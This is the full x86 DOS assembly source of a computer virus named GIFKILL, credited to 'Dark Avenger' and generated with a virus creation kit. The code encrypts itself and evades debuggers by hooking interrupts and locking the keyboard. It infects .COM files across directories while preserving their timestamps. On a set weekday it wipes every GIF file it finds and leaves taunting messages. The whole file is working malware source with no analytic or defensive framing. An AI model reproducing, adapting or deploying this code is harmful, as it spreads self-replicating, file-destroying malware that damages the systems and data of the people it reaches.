; GIFKILL.ASM -- Seek and Destroy GIF
; Written by Dark Avenger
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
stop_tracing: mov cx,09EBh
mov ax,0FE05h ; Acutal move, plus a HaLT
jmp $-2
add ah,03Bh ; AH now equals 025h
jmp $-10 ; Execute the HaLT
lea bx,[di + null_vector] ; BX points to new routine
push cs ; Transfer CS into ES
pop es ; using a PUSH/POP
int 021h
mov al,1 ; Disable interrupt 1, too
int 021h
jmp short skip_null ; Hop over the loop
null_vector: jmp $ ; An infinite loop
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
lock_keys: mov al,128 ; Change here screws DEBUG
out 021h,al ; If tracing then lock keyboard
mov cx,0003h ; Do 3 infections
search_loop: push cx ; Save CX
call search_files ; Find and infect a file
pop cx ; Restore CX
loop search_loop ; Repeat until CX is 0
call get_weekday
cmp ax,0005h ; Did the function return 5?
je strt00 ; If equal, do effect
jmp end00 ; Otherwise skip over it
strt00: lea dx,[di + data00] ; DX points to data
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; All file attributes valid
int 021h
jc erase_done ; Exit procedure on failure
mov ah,02Fh ; DOS get DTA function
int 021h
lea dx,[bx + 01Eh] ; DX points to filename in DTA
erase_loop: mov ah,041h ; DOS delete file function
int 021h
mov ah,03Ch ; DOS create file function
xor cx,cx ; No attributes for new file
int 021h
mov ah,041h ; DOS delete file function
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc erase_loop ; Repeat until no files left
erase_done:
end00:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
db 0FAh,045h,02Eh,0B3h,024h
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
db 0A6h,03Ch,0B6h,078h,0CCh
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
db 002h,0EFh,034h,048h,091h
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
db 089h,043h,03Bh,054h,0AAh
get_weekday proc near
mov ah,02Ah ; DOS get date function
int 021h
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_weekday endp
data00 db "*.GIF",0
vcl_marker db "[Z10]",0 ; VCL creation marker
note db "Bye Bye Mr.GIF",0
db "You'll never find all the file"
db "s I have infected!",0
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
